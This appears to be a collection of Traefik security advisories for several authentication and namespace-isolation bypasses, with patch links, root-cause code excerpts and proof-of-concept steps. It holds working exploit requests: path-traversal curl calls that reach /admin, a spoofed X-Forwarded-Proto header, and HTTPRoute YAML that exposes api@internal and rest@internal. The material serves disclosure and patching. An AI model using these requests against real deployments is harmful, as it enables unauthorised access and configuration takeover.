yaml http: routers: public-api: rule: "PathPrefix(/api)" entryPoints: [web] middlewares: [rewrite-api] service: backend-svc priority: 1 protected-admin: rule: "PathPrefix(/admin)" entryPoints: [web] middlewares: [auth] service: backend-svc priority: 2 middlewares: rewrite-api: replacePathRegex: regex: "^/api(.)" replacement: "/$1" auth: basicAuth: users: - "admin:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/" services: backend-svc: loadBalancer: servers: - url: "http://backend:3000"
3. Create server.js:
javascript const http = require('http'); const path = require('path'); const server = http.createServer((req, res) => { const normalized = path.posix.normalize(req.url.split('?')[0]); res.setHeader('Content-Type', 'text/plain'); if (normalized === '/health') { res.writeHead(200); res.end('OK\n'); } else if (normalized === '/admin' || normalized.startsWith('/admin/')) { res.writeHead(200); res.end(ADMINSECRETDATA (normalized=${normalized})\n); } else { res.writeHead(200); res.end(PUBLIC (normalized=${normalized})\n); } }); server.listen(3000);
4. Run and exploit:
bash docker compose up -d && sleep 5
Confirm auth is enforced: curl -s -o /dev/null -w "%{httpcode}" http://localhost/admin → 401
Auth bypass: curl -s http://localhost/api../admin → ADMINSECRETDATA (normalized=/admin)
URL-encoded variant: curl -s http://localhost/api%2e%2e/admin → ADMINSECRETDATA (normalized=/admin)
Configuration note: The regex ^/api(.) (without slash separator before the capture group) is the exploitable pattern. This is the natural way to write a prefix-strip equivalent with ReplacePathRegex and is functionally identical to StripPrefix("/api") for legitimate traffic. The pattern ^/api/(.) (with mandatory slash) is not exploitable - the same structural narrowing as CVE-2026-48020 where StripPrefix("/api") was vulnerable but StripPrefix("/api/") was not.
Impact Authentication bypass. Any route protected by auth middleware on a separate router (BasicAuth, ForwardAuth, DigestAuth) can be accessed without credentials by an unauthenticated network attacker via a single HTTP request. Both read and write operations (GET/POST/PUT/DELETE) bypass authentication. The vulnerability affects deployments using ReplacePathRegex for prefix stripping - a common, documented configuration pattern.
</details>
---
Summary
There is a medium severity vulnerability in Traefik's ForwardAuth middleware. Even when configured with trustForwardHeader: false, Traefik derives the X-Forwarded-Port header sent to the authentication service from the original incoming request instead of the sanitized forwarded request. As a result, an unauthenticated remote attacker can inject an X-Forwarded-Proto: https header over a plain HTTP connection and cause Traefik to forward X-Forwarded-Port: 443 to the auth service, bypassing port-based authorization checks. This is a regression of the incomplete fix for GHSA-6384-m2mw-rf54, which addressed the X-Forwarded-Proto and X-Forwarded-Prefix spoofing vectors but missed the X-Forwarded-Port vector.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.51 - https://github.com/traefik/traefik/releases/tag/v3.6.22 - https://github.com/traefik/traefik/releases/tag/v3.7.6
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Summary
The ForwardAuth middleware, even when configured with trustForwardHeader: false, still derives the X-Forwarded-Port header sent to the authentication service by reading the attacker-controlled X-Forwarded-Proto header from the original incoming request. This allows an unauthenticated remote attacker to cause Traefik to forward X-Forwarded-Port: 443 to the auth service on a plain HTTP connection, creating an inconsistency that can bypass port-based authorization checks.
### Details
The fix introduced in commit 5e1de2258 (released as part of the April 2026 security advisory GHSA-6384-m2mw-rf54) correctly strips all X-Forwarded- headers from the forwarded auth request when trustForwardHeader=false, and reconstructs X-Forwarded-Proto from the actual TLS state of the connection (req.TLS).
However, the reconstruction of X-Forwarded-Port is delegated to the helper forwardedPort(req) which receives the original request (req) rather than the sanitized forward request (forwardReq):
go // pkg/middlewares/auth/forward.go – writeHeader() if !trustForwardHeader { forwardedheaders.DeleteXForwardedHeaders(forwardReq.Header) // strips all X-Fwd- from forwardReq } // ... if , ok := forwardReq.Header[forwardedheaders.XForwardedPort]; !ok { forwardReq.Header.Set(forwardedheaders.XForwardedPort, forwardedPort(req)) // ← req = ORIGINAL }
// pkg/middlewares/auth/forward.go – forwardedPort() func forwardedPort(req http.Request) string { if , port, err := net.SplitHostPort(req.Host); err == nil && port != "" { return port } // Reads attacker-controlled header on the ORIGINAL request: if req.Header.Get(forwardedheaders.XForwardedProto) == "https" || ... { return "443" } if req.TLS != nil { return "443" } return "80" }
Result when trustForwardHeader=false and attacker sends X-Forwarded-Proto: https on a plain HTTP connection:
┌──────────────────────────────────┬──────────┬────────┐ │ Header forwarded to auth service │ Expected │ Actual │ ├──────────────────────────────────┼──────────┼────────┤ │ X-Forwarded-Proto │ http │ http ✓ │ ├──────────────────────────────────┼──────────┼────────┤ │ X-Forwarded-Port │ 80 │ 443 ✗ │ └──────────────────────────────────┴──────────┴────────┘ The inconsistency between Proto=http and Port=443 is exploitable against any authentication service that gates access based on X-Forwarded-Port.
### PoC
Traefik configuration:
http: middlewares: my-auth: forwardAuth: address: "http://auth-service/" trustForwardHeader: false # security setting, but still bypassable routers: api: rule: "PathPrefix(/api)" middlewares: - my-auth service: backend
Auth service logic (example victim): # auth-service checks: only port 443 requests are considered "secure" port = request.headers.get("X-Forwarded-Port", "80") proto = request.headers.get("X-Forwarded-Proto", "http") if port == "443": return 200 # grant access return 403 Attack:
Plain HTTP connection, no TLS – but spoofs port 443 curl -H "X-Forwarded-Proto: https" http://traefik.example.com/api/admin Auth service receives X-Forwarded-Port: 443 → grants access
Verification: Enable Traefik debug logging and observe X-Forwarded-Port: 443 in the auth request while the connection is plain HTTP.
### Impact
Any deployment using the ForwardAuth middleware with trustForwardHeader: false where the downstream authentication service uses X-Forwarded-Port to make authorization decisions is vulnerable to privilege escalation. An unauthenticated attacker can bypass port-based security checks (e.g., "only allow requests arriving on HTTPS port 443") by injecting a single X-Forwarded-Proto: https header on a plain HTTP connection.
This is a regression of the incomplete fix for GHSA-6384-m2mw-rf54: while the X-Forwarded-Prefix and X-Forwarded-Proto spoofing vectors were addressed, the X-Forwarded-Port vector was missed.
</details>
---
Summary
There is a medium severity vulnerability in Traefik's Kubernetes Gateway API provider that allows a tenant with HTTPRoute creation permissions to expose the REST provider handler, bypassing the providers.rest.insecure=false setting. The Gateway provider accepts any TraefikService backend reference whose name ends with @internal, making it possible to route traffic to rest@internal in addition to the intended api@internal. In shared Gateway deployments where the REST provider is enabled, this allows a low-privileged actor to gain live dynamic configuration write access to Traefik, enabling unauthorized reconfiguration of routers and services.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.46 - https://github.com/traefik/traefik/releases/tag/v3.6.17 - https://github.com/traefik/traefik/releases/tag/v3.7.1
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Summary When the Kubernetes Gateway API provider is enabled, Traefik accepts any TraefikService backend whose name ends with @internal. This allows a tenant-controlled HTTPRoute to publish rest@internal.
If providers.rest is enabled, this exposes Traefik's REST provider handler even when providers.rest.insecure=false, even though providers.rest.insecure=false is meant to keep the REST handler from being exposed by Traefik's built-in internal router. In a shared Gateway deployment, an actor with permission to create or update HTTPRoute resources in an allowed namespace can gain live Traefik dynamic-configuration write access through PUT /api/providers/rest.
Details The Gateway provider treats internal services broadly rather than allowing only a specific internal target.
In current master, pkg/provider/kubernetes/gateway/kubernetes.go defines isInternalService(...) as any TraefikService reference whose name ends with @internal.
Then pkg/provider/kubernetes/gateway/httproute.go special-cases a single backend reference that matches isInternalService(...) and directly assigns router.Service = string(routeRule.BackendRefs[0].Name).
This means a tenant route can target not only api@internal, but also rest@internal and other internal handlers.
Separately, the REST provider handler is created whenever the REST provider is enabled. In pkg/server/service/managerfactory.go, if staticConfiguration.Providers.Rest != nil, Traefik sets factory.restHandler = staticConfiguration.Providers.Rest.CreateRouter().
The REST provider handler itself is implemented in pkg/provider/rest/rest.go and accepts PUT /api/providers/{provider}.
The providers.rest.insecure flag does not disable the underlying handler. In pkg/provider/traefik/internal.go, that flag only controls whether Traefik creates its own built-in internal router for rest@internal. Even when providers.rest.insecure=false, Traefik still registers the rest service object, and the service layer can still resolve rest@internal if another provider routes to it.
I validated this locally in two tests: 1. the Gateway route-building path accepts rest@internal as an internal backend through the same special-case branch used for api@internal 2. the service layer builds and serves rest@internal successfully when providers.rest is enabled and providers.rest.insecure=false
The vulnerable code path is present in: - v3.0.0 - v3.6.7 - v2.11.0 - v2.11.36 - current master at 786f7192e11878dfaa634f8263bf79bb730a71cb
I verified the issue in v3.0.0, v3.6.7, v2.11.0, v2.11.36, and current master; the reported affected ranges reflect the maintained release lines checked during validation
I did not find a public Traefik advisory or CVE for this exact issue. The closest public overlap I found is the documented/tested Gateway support for api@internal, but the issue here is broader because the Gateway code accepts any @internal TraefikService, including the write-capable rest@internal handler.
Expected behavior providers.rest.insecure=false should prevent low-privileged route authors from exposing the REST provider handler.
Actual behavior A tenant-controlled Gateway route can still publish rest@internal and reach the REST update API.
Attacker prerequisites - The Kubernetes Gateway API provider is enabled. - providers.rest=true. - providers.rest.insecure=false. - A shared Gateway allows tenant namespaces to attach HTTPRoute resources. - The attacker can create or update HTTPRoute resources in an allowed tenant namespace.
PoC 1. Configure Traefik so that the Kubernetes Gateway provider is enabled, the REST provider is enabled, and the REST provider is not exposed insecurely.
Example static configuration:
yaml providers: kubernetesGateway: {} rest: insecure: false
2. Ensure a shared Gateway allows tenant HTTPRoute attachment.
3. In an allowed tenant namespace, create an HTTPRoute whose backend points to rest@internal:
yaml apiVersion: gateway.networking.k8s.io/v1 kind: HTTPRoute metadata: name: expose-rest-internal namespace: tenant-a spec: parentRefs: - name: shared-gateway namespace: infra hostnames: - rest.tenant.example rules: - matches: - path: type: PathPrefix value: / backendRefs: - group: traefik.io kind: TraefikService name: rest@internal port: 80
4. Send a PUT request through that published route to /api/providers/rest with a valid dynamic configuration body. A harmless proof can add a dummy router pointing to noop@internal.
Example request body:
json { "http": { "routers": { "probe": { "rule": "PathPrefix(/probe)", "service": "noop@internal", "ruleSyntax": "default" } } } }
5. Observe that Traefik accepts the update and applies the supplied dynamic configuration, even though providers.rest.insecure=false.
Impact This is an authorization / trust-boundary bypass affecting shared Gateway deployments.
On affected deployments, an actor who should only be able to create or update HTTPRoute objects can escalate to live Traefik dynamic-configuration write access. That can allow unauthorized reconfiguration of routers and services, publication of additional internal surfaces, request interception or rerouting, and denial of service through destructive config changes.
On affected deployments, this gives a low-privileged Gateway route author live Traefik dynamic-configuration write access. This is critical for affected shared Gateway deployments because it can give a low-privileged route author live Traefik dynamic-configuration write access, but it depends on providers.rest being enabled.
This is not an unauthenticated vulnerability in all Traefik deployments. The issue depends on realistic but specific conditions: - providers.rest must be enabled - the attacker must be allowed to attach HTTPRoute resources to a shared Gateway
</details>
Summary
There is a medium severity vulnerability in Traefik's Kubernetes Gateway API provider. When two accepted HTTPRoutes target the same backend Service:port but configure different backendRef filters, Traefik may resolve both routes to the same child service and apply only one route's filter set to all requests reaching that backend. In Gateway deployments where backendRef filters set security-sensitive headers — such as tenant identity, authorization context, or values the backend trusts — an attacker who can create an accepted HTTPRoute sharing the same backend Service:port may cause their route's filter context to be applied to another route's requests, potentially crossing namespace boundaries when a ReferenceGrant permits cross-namespace targeting.
Patches
- https://github.com/traefik/traefik/releases/tag/v3.7.6
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Traefik Gateway HTTPRoute backendRef filter context collision across routes sharing Service:port
Summary
Traefik's Kubernetes Gateway API provider builds the dynamic HTTP backend service key for a Gateway HTTPRoute backendRef from only the backend namespace, Service name, protocol, and port. It does not include the HTTPRoute, listener, rule, or backendRef filter identity in that key.
When two accepted HTTPRoutes point to the same backend Service:port but define different backendRef filters, Traefik can make both route WRR services reference the same child service. The child service then carries only one backendRef filter set, so one route can send requests to the backend with another route's backend context.
This is security-relevant when backendRef filters set, remove, or rewrite security-sensitive context, such as tenant, identity, auth, sanitization, Host, or path headers trusted by the backend.
Credit: Qican Ma, Ding Luo @XiaoMi ShadowBlade Security Lab
Suggested Severity
Suggested severity: Medium/High, configuration-dependent.
Suggested CVSS 3.1:
text CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:H/A:N
Notes:
- Requires Gateway API routes sharing the same backend Service:port with different security-sensitive backendRef filters trusted by the backend. - Cross-namespace impact is possible when route attachment and ReferenceGrant policy allow an attacker route to target the shared backend. - No RCE, memory corruption, or default-config exposure claimed.
Suggested CWE:
text CWE-863: Incorrect Authorization CWE-284: Improper Access Control
Affected Component
text pkg/provider/kubernetes/gateway/httproute.go — loadService(), loadMiddlewares()
Tested Versions
Confirmed on:
text Traefik source snapshot: 29406d42898547f1ffabd904f66af06c212740cf on master
Earliest affected version not exhaustively determined.
Root Cause
loadService starts the dynamic service name from backend namespace and Service name only:
go // pkg/provider/kubernetes/gateway/httproute.go:245 serviceName := provider.Normalize(namespace + "-" + string(backendRef.Name) + "-http")
It loads backendRef filters using that same service name before appending the backend port:
go // pkg/provider/kubernetes/gateway/httproute.go:258 middlewares, err := p.loadMiddlewares(conf, namespace, serviceName, backendRef.Filters, pathMatch)
For normal Kubernetes Services, the final child service key appends only the port:
go // pkg/provider/kubernetes/gateway/httproute.go:304-317 portStr := strconv.FormatInt(int64(port), 10) serviceName = provider.Normalize(serviceName + "-" + portStr) ... conf.HTTP.Services[serviceName] = &dynamic.Service{LoadBalancer: lb, Middlewares: middlewares}
Each route/rule WRR service references the child service by name. Later route configs are merged by map key (maps.Copy), so both route-local WRR services can point to the same child service, which retains only one of the route/backendRef filter configurations.
Attack Scenario
1. Gateway listener with allowedRoutes.namespaces.from: All. 2. Victim HTTPRoute route-a in namespace default targets default/whoami:80 with backendRef filter setting X-Tenant: tenant-a. 3. Attacker-controlled HTTPRoute route-b in namespace attacker targets default/whoami:80 (via ReferenceGrant) with backendRef filter setting X-Tenant: tenant-b. 4. Both routes generate the same child service key: default-whoami-http-80. 5. The second route's filter configuration overwrites the first (or vice versa) via maps.Copy. 6. Backend receives both routes' requests with one tenant's header context.
Proof of Concept
A Go test harness injects provider-level and server-level tests into the Traefik checkout. The provider test confirms the generated dynamic configuration collision. The server test builds Traefik's runtime router/service/middleware pipeline and sends httptest requests through router matching, WRR service dispatch, service-level backendRef middleware, and backend proxy capture.
Observed result:
json { "name": "positivecrossnamespacesamebackendfiltercollision", "pass": true, "expected": {"route-a": "tenant-a", "route-b": "tenant-b"}, "observed": {"route-a": "tenant-a", "route-b": "tenant-a"}, "runtimeObserved": {"route-a": "tenant-a", "route-b": "tenant-a"}, "childServices": {"route-a": "default-whoami-http-80", "route-b": "default-whoami-http-80"} }
Negative controls confirmed:
- Separate backend Service:port keys produce correct per-route filter isolation. - Identical filters across routes produce no security-relevant difference.
The PoC files can be shared upon request.
Impact
An actor who can create or modify an accepted HTTPRoute can cause another accepted route that targets the same backend Service:port to use the wrong backendRef filter context. In cross-namespace Gateway deployments, this can cross namespace boundaries.
High-value impact: gateway-injected tenant, identity, auth, role, header sanitization, Host rewrite, or path rewrite context is trusted by the backend. Lower-value impact: the overwritten header is informational or observability-only.
Suggested Remediation
1. Include route/listener/rule/backendRef filter identity in the generated child service name when backendRef filters are present. 2. Split the load-balancer service from the backendRef filter application so per-route backend filters remain route-scoped. 3. Detect conflicting backendRef filters for the same generated service key and reject or disambiguate the configuration.
Timeline
text 2026-06-04: Discovered and reproduced with local test harness.
</details>
---
Summary
There is a high severity vulnerability in Traefik's Kubernetes Gateway provider affecting the crossProviderNamespaces allowlist. For HTTPRoute rules that declare multiple (WRR) backendRefs, Traefik evaluates the allowlist against the target backendRef.namespace instead of the route's own namespace. As a result, an HTTPRoute created in a namespace that is not allow-listed can reference a cross-provider TraefikService such as api@internal, dashboard@internal or rest@internal by pointing backendRef.namespace at an allow-listed namespace covered by a Gateway API ReferenceGrant, exposing internal Traefik services on the data plane. Exploitation requires the ability to create an accepted HTTPRoute and a matching ReferenceGrant from an allow-listed namespace ; it does not require any change to Traefik static configuration, RBAC, or the deployment itself.
Patches
- https://github.com/traefik/traefik/releases/tag/v3.6.21 - https://github.com/traefik/traefik/releases/tag/v3.7.5
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Summary
The Kubernetes Gateway provider's crossProviderNamespaces option is documented as restricting which Gateway API route namespaces may declare TraefikService backendRefs.
For HTTPRoute rules with multiple backendRefs, Traefik checks this allowlist against backendRef.namespace instead of the HTTPRoute namespace. A route in a namespace that is not allow-listed can therefore add api@internal to the generated WRR service by setting backendRef.namespace to an allow-listed namespace, as long as a normal Gateway API ReferenceGrant permits that cross-namespace reference.
Verified affected versions:
- v3.7.1 (fa49e2bcad7ffd8a80accdf1fae1ae480913d93d) - current source/master tested by me (29406d42898547f1ffabd904f66af06c212740cf)
Expected Behavior
With:
yaml providers: kubernetesGateway: crossProviderNamespaces: - trusted
only Gateway API routes whose own namespace is trusted should be allowed to declare TraefikService backendRefs such as api@internal, dashboard@internal, or rest@internal.
An HTTPRoute in namespace attacker should not be able to expose an internal Traefik service by setting:
yaml backendRefs: - group: traefik.io kind: TraefikService name: api@internal namespace: trusted
Actual Behavior
For an HTTPRoute in namespace attacker with two backendRefs, Traefik generates a WRR service containing:
text [api@internal attacker-whoami-http-80]
even though crossProviderNamespaces only allows trusted.
Threat Model
This does not require changing Traefik static configuration or Traefik process state. The relevant boundary is the Kubernetes Gateway provider's crossProviderNamespaces policy: namespaces outside the allowlist should not be able to declare cross-provider TraefikService backendRefs.
The precondition is a Gateway API environment where an untrusted or less-trusted namespace can create HTTPRoute objects accepted by a Gateway, and a namespace in the crossProviderNamespaces allowlist has a matching ReferenceGrant. ReferenceGrant should satisfy Gateway API cross-namespace reference rules, but it should not override Traefik's separate provider-level namespace allowlist for cross-provider internal services.
A Gateway API ReferenceGrant should be treated as necessary but not sufficient for this case. It authorizes the cross-namespace object reference under Gateway API rules, but Traefik's crossProviderNamespaces option is an additional Traefik-specific security control for cross-provider TraefikService backendRefs, especially @internal services. Therefore a ReferenceGrant from trusted must not make a route in attacker equivalent to a route whose own namespace is trusted.
Required Attacker Capability
Required:
- create or modify an HTTPRoute in namespace attacker; - have that HTTPRoute accepted by a Gateway; - rely on an existing ReferenceGrant from an allow-listed namespace, or on a delegated namespace setup where such ReferenceGrant objects are managed separately from Traefik's provider configuration.
Not required:
- modifying Traefik static configuration; - modifying the Traefik deployment or Traefik RBAC; - modifying resources in the Traefik deployment namespace; - modifying providers.kubernetesGateway.crossProviderNamespaces; - enabling api.insecure; - exposing the dashboard/API entrypoint directly.
Documentation Evidence
The documented boundary is the namespace of the Gateway API route/resource that declares the cross-provider reference, not the namespace named in backendRef.namespace.
The Kubernetes Gateway provider option is documented as:
text List of namespaces from which Gateway API routes (HTTPRoute, TCPRoute, TLSRoute) are allowed to declare a backendRef of kind TraefikService.
The migration notes also describe the security reason for the option:
text those references ... allow a user to cross namespace boundaries, as well as exposing @internal services, that only the operator should be able to expose.
and the documented behavior is:
text ["ns-a"] | Only Kubernetes resources in the listed namespaces can declare cross-provider references.
The provider struct uses the same route-namespace wording:
go CrossProviderNamespaces []string description:"List of namespaces from which Gateway API routes are allowed to declare TraefikService backendRef references." ...
The reproduced route kind is HTTPRoute; no Gateway API experimental-channel resources are required for the PoC.
PoC
I validated the issue end-to-end in a local kind cluster with Traefik v3.7.1, real Gateway API CRDs, real Kubernetes Gateway, HTTPRoute, and ReferenceGrant resources, and HTTP requests to Traefik's normal web entrypoint.
The complete local reproducer I used is a self-contained kind PoC with these files:
text external-repro-kind/kind-config.yaml external-repro-kind/traefik-v371.yaml external-repro-kind/gateway-exploit.yaml external-repro-kind/run-kind-repro.sh
Run command:
bash ./external-repro-kind/run-kind-repro.sh
The script creates a local kind cluster, loads local traefik:v3.7.1 and traefik/whoami:v1.11.0 images, installs Gateway API CRDs, deploys Traefik and the PoC Gateway resources, sends the control and exploit curl requests to 127.0.0.1:18080, prints route status, and deletes the cluster on exit.
Traefik was started with:
text --api=true --api.dashboard=true --api.insecure=false --providers.kubernetesgateway=true --providers.kubernetesgateway.crossprovidernamespaces=trusted
The local host entrypoint was:
text 127.0.0.1:18080 -> kind NodePort -> Traefik web entrypoint
The target namespace has a normal Gateway API ReferenceGrant:
yaml apiVersion: gateway.networking.k8s.io/v1beta1 kind: ReferenceGrant metadata: name: allow-attacker-to-traefikservice namespace: trusted spec: from: - group: gateway.networking.k8s.io kind: HTTPRoute namespace: attacker to: - group: traefik.io kind: TraefikService
Positive control:
yaml apiVersion: gateway.networking.k8s.io/v1 kind: HTTPRoute metadata: name: single-backend-control namespace: attacker spec: parentRefs: - name: shared-gateway namespace: default hostnames: - control.localhost rules: - matches: - path: type: PathPrefix value: /api backendRefs: - group: traefik.io kind: TraefikService name: api@internal namespace: trusted port: 80 weight: 1
Bypass:
yaml apiVersion: gateway.networking.k8s.io/v1 kind: HTTPRoute metadata: name: mixed-backend-bypass namespace: attacker spec: parentRefs: - name: shared-gateway namespace: default hostnames: - exploit.localhost rules: - matches: - path: type: PathPrefix value: /api backendRefs: - group: traefik.io kind: TraefikService name: api@internal namespace: trusted port: 80 weight: 1000000 - group: "" kind: Service name: whoami port: 80 weight: 1
Observed external result:
text control: single-backend route from attacker namespace should not expose api@internal control status: 404 404 page not found
exploit: mixed backendRef route from attacker namespace exposes api@internal exploit returned Traefik API JSON api@internal status: enabled weighted members: api@internal 1000000 attacker-whoami-http-80 1
The HTTPRoute status shows the boundary difference:
text single-backend-control: Accepted=True ResolvedRefs=False Reason=RefNotPermitted Message=Cannot load HTTPRoute BackendRef api@internal: internal service reference is not allowed: HTTPRoute namespace "attacker" is not in crossProviderNamespaces
mixed-backend-bypass: Accepted=True ResolvedRefs=True
This is the externally visible security failure: the same route namespace and same api@internal backendRef are rejected in the single-backend path, but accepted in the mixed/WRR path and exposed on the data plane.
Minimized Root Cause Test
I also created a provider-level regression test using Traefik's fake Kubernetes/Gateway clients. This does not rely on the Docker lab, dashboard exposure, or helper backends. It is useful as a minimal root-cause test, but the external kind PoC above is the primary impact reproduction.
Files:
- probe/crossprovidernamespaceprobetest.go - probe/crossprovidernamespaceprobe.yml - probe/crossprovidernamespacesinglecontrol.yml
Reproduction:
bash cp probe/crossprovidernamespaceprobetest.go pkg/provider/kubernetes/gateway/ cp probe/crossprovidernamespaceprobe.yml pkg/provider/kubernetes/gateway/fixtures/httproute/ go test ./pkg/provider/kubernetes/gateway -run TestProbeCrossProviderNamespacesHTTPRouteBackendNamespaceBypass -count=1 -v
Observed output on both tested versions:
text Messages: HTTPRoute namespace attacker must not expose api@internal when only trusted is allow-listed; members=[api@internal attacker-whoami-http-80]
The reproducer also includes a positive control:
text === RUN TestProbeCrossProviderNamespacesHTTPRouteSingleBackendControl --- PASS: TestProbeCrossProviderNamespacesHTTPRouteSingleBackendControl
That control shows the single-backend internal-service code path rejects the setup correctly. The bypass appears when the same forbidden internal backend is placed in a mixed/WRR backendRef list.
Root Cause
The single-internal-service path checks the route namespace:
go case len(routeRule.BackendRefs) == 1 && isInternalService(routeRule.BackendRefs[0].BackendRef): if !isCrossProviderNamespaceAllowed(p.CrossProviderNamespaces, route.Namespace) {
The mixed/multiple backendRef path calls loadService. In loadService, namespace is overwritten from backendRef.Namespace, then passed to loadHTTPBackendRef:
go namespace := route.Namespace if backendRef.Namespace != nil && backendRef.Namespace != "" { namespace = string(backendRef.Namespace) } ... name, service, err := p.loadHTTPBackendRef(namespace, backendRef)
loadHTTPBackendRef then checks crossProviderNamespaces against this target namespace:
go if backendRef.Kind == "TraefikService" && strings.Contains(string(backendRef.Name), "@") { if !isCrossProviderNamespaceAllowed(p.CrossProviderNamespaces, namespace) {
This lets a disallowed route namespace choose an allow-listed target namespace and pass the check.
Impact
An untrusted route namespace may expose internal Traefik services through Gateway HTTPRoute despite being excluded from crossProviderNamespaces.
Potentially exposed internal services include:
- api@internal - dashboard@internal - rest@internal
This is a route isolation / internal service exposure / security option bypass. Practical severity depends on whether internal services are enabled and how Gateway ReferenceGrant delegation is used, but the observed behavior violates the documented security boundary of crossProviderNamespaces.
I also validated the concrete impact of the generated service graph in the local lab. The lab's intended safe baseline has the dashboard/API protected on the dashboard entrypoint:
text Host: dashboard.localhost -> dashboard entrypoint /api/rawdata => 401 Unauthorized Host: dashboard.localhost -> web entrypoint /api/rawdata => 404 Not Found
When a router on the normal web entrypoint references api@internal, the same API endpoint becomes unauthenticated:
text Host: impact-crossprovider.localhost -> web entrypoint /api/rawdata => 200 OK service: api@internal
A WRR service containing api@internal also exposes the API:
text Host: impact-crossprovider-wrr.localhost -> web entrypoint /api/rawdata => 200 OK weighted services: api@internal 1000 echo-svc 1
This is the security consequence of the provider bug: a namespace that should be blocked by crossProviderNamespaces can make Traefik generate a service graph containing api@internal on a route it controls.
Suggested Fix
For Gateway HTTPRoute TraefikService cross-provider backendRefs, validate crossProviderNamespaces against route.Namespace in all code paths, including mixed/WRR backendRefs.
</details>
---
Summary
There is a medium severity vulnerability in Traefik's Kubernetes Ingress NGINX provider that causes affected routes to fail open. When an Ingress explicitly enables BasicAuth or DigestAuth through the supported nginx.ingress.kubernetes.io/auth-type and auth-secret annotations, but the referenced auth Secret cannot be resolved or parsed, Traefik logs the resolution error, skips installing the authentication middleware, and still emits a router to the backend service. A route that operators intended to protect is therefore published to the data plane without its authentication control, allowing unauthenticated access to the backend. The trigger is an invalid or unresolved auth dependency — a missing, malformed, unreadable, or policy-denied Secret — rather than an intentionally unprotected route.
Patches
- https://github.com/traefik/traefik/releases/tag/v3.7.5
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Summary
Traefik's Kubernetes Ingress NGINX provider can fail open for routes that explicitly configure BasicAuth or DigestAuth through supported ingress-nginx annotations.
When an Ingress contains nginx.ingress.kubernetes.io/auth-type: basic or digest, but the referenced nginx.ingress.kubernetes.io/auth-secret cannot be resolved or parsed, Traefik logs the auth resolution error, skips installing the BasicAuth/DigestAuth middleware, and still emits a router to the backend service.
This can expose a route that operators intended to protect. The issue is not that an invalid Secret exists; the issue is that an explicitly auth-protected Ingress location is translated into a live backend route where the authentication control is removed from the generated data-plane configuration, with only a controller log entry, instead of failing closed.
Tested affected versions:
- Current master: 29406d42898547f1ffabd904f66af06c212740cf - Latest tag tested by me: v3.7.1 / fa49e2bcad7ffd8a80accdf1fae1ae480913d93d
The KubernetesIngressNGINX provider is documented as no longer experimental as of v3.6.2, and the auth-type, auth-secret, auth-secret-type, and auth-realm annotations are documented supported annotations.
Details
The root cause is in pkg/provider/kubernetes/ingress-nginx/build.go. During provider translation, auth is pre-resolved for each location:
go if ing.config.AuthType != nil { basic, digest, err := p.resolveBasicAuth(ing.Namespace, ing.config) if err != nil { logger.Error(). Err(err). Str("ingress", fmt.Sprintf("%s/%s rule-%d path-%d", ing.Namespace, ing.Name, ri, pi)). Msg("Cannot resolve auth secret, skipping auth middleware") } else { loc.BasicAuth = basic loc.DigestAuth = digest } }
The error is logged, but loc.Error is not set. Later, pkg/provider/kubernetes/ingress-nginx/translator.go only routes to unavailable-service when loc.Error is true. Since this auth error leaves loc.Error false, the generated router continues to use the real backend service, and applyMiddlewares has no BasicAuth/DigestAuth middleware to attach.
This differs from nearby fail-closed behavior for comparable provider translation failures:
- auth-tls-secret resolution failure skips the affected ingress. - custom-headers ConfigMap resolution failure sets loc.Error = true, causing the translator to avoid normal backend exposure.
Security invariant:
If an Ingress location explicitly configures BasicAuth/DigestAuth, Traefik should not forward that location to the backend unless the corresponding auth middleware is installed.
Reasonable fail-closed behaviors would include omitting the router, routing it to unavailable-service, returning 503, or attaching a deny-all middleware until the auth dependency is valid.
Expected behavior
An Ingress location with explicit auth-type: basic or auth-type: digest must not forward requests to the backend unless the generated Traefik router has the corresponding BasicAuth/DigestAuth middleware attached.
If the referenced auth Secret is missing, malformed, unreadable, denied by namespace policy, or otherwise unusable, Traefik should fail closed for that location.
Actual behavior
When auth-secret resolution fails, Traefik still creates a router to the backend service and only omits the BasicAuth/DigestAuth middleware. The only indication is a controller log entry:
text Cannot resolve auth secret, skipping auth middleware
PoC
I reproduced this with a clean fake Kubernetes provider state. The reproduction does not use Docker provider labels, dashboard/API routing, lab backends, or public network targets.
Minimal Kubernetes objects:
- IngressClass named nginx with controller k8s.io/ingress-nginx - Service named whoami in namespace default - EndpointSlice for the whoami service - Ingress with ingressClassName: nginx, a backend pointing to whoami, and these annotations:
yaml nginx.ingress.kubernetes.io/auth-type: "basic" nginx.ingress.kubernetes.io/auth-secret-type: "auth-file" nginx.ingress.kubernetes.io/auth-secret: "default/missing-basic-auth"
The referenced Secret intentionally does not exist. The expected secure behavior is fail-closed for this auth-configured route. The observed behavior is a normal router to the backend without BasicAuth/DigestAuth.
Key failing assertion from the regression harness:
text router forwards to backend service without BasicAuth/DigestAuth when auth-secret is missing; middlewares=[default-auth-missing-secret-rule-0-path-0-retry] service="default-auth-missing-secret-whoami-80"
The same behavior reproduces on both current master and v3.7.1.
I also tested a matrix of auth-secret resolution failures. In each error case, Traefik still emitted the backend router without BasicAuth/DigestAuth:
- missing auth-secret - omitted/empty auth-secret - invalid auth-secret-type - auth-file Secret missing the required auth key - empty auth-map Secret - missing DigestAuth Secret - cross-namespace auth-secret denied by default policy
The same matrix includes a positive control where a valid auth-file Secret correctly attaches BasicAuth, confirming that the harness is exercising the intended provider path.
I also performed a clean-room revalidation from fresh git archive source trees for both source/master and v3.7.1. Only the two minimal test harnesses were copied into each archived source tree. This avoided contamination from lab compose files, Docker provider state, dashboard/API routes, prior source-tree test files, or running lab backends.
Threat model
This does not require an attacker to modify Traefik static configuration or Traefik process state. The relevant security boundary is the Kubernetes-declared route policy: an Ingress explicitly declares BasicAuth/DigestAuth, but Traefik publishes the data-plane route without that control when the auth dependency is invalid.
